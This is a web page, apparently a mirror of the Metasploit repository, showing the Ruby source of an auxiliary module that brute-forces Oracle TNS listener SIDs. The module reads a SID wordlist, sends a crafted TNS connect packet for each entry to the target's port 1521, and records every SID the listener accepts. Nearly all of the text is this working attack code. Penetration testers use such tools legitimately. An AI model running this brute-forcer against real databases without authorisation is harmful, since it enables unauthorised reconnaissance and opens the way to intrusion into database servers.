Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/oracle/sid_brute.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::TNS89def initialize(info = {})10super(update_info(info,11'Name' => 'Oracle TNS Listener SID Brute Forcer',12'Description' => %q{13This module simply attempts to discover the protected SID.14},15'Author' => [ 'MC' ],16'License' => MSF_LICENSE,17'References' =>18[19[ 'URL', 'https://www.metasploit.com/users/mc' ],20[ 'URL' , 'http://www.red-database-security.com/scripts/sid.txt' ],21],22'DisclosureDate' => '2009-01-07'))2324register_options(25[26Opt::RPORT(1521),27OptString.new('SLEEP', [ false, 'Sleep() amount between each request.', '1']),28OptString.new('SIDFILE', [ false, 'The file that contains a list of sids.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),29])3031end3233def run3435s = datastore['SLEEP']36list = datastore['SIDFILE']3738print_status("Starting brute force on #{rhost}, using sids from #{list}...")3940fd = ::File.open(list, 'rb').each do |sid|41login = "(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=MSF)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{rhost})(PORT=#{rport})))"42pkt = tns_packet(login)4344begin45connect46rescue ::Interrupt47raise $!48rescue => e49print_error(e.to_s)50disconnect51return52end5354sock.put(pkt)55select(nil,nil,nil,s.to_i)56res = sock.get_once57disconnect5859if res and res.to_s !~ /ERROR_STACK/60report_note(61:host => rhost,62:port => rport,63:type => 'oracle_sid',64:data => "PORT=#{rport}, SID=#{sid.strip}",65:update => :unique_data66)67print_good("#{rhost}:#{rport} Found SID '#{sid.strip}'")68end6970end7172print_status("Done with brute force...")73fd.close7475end76end777879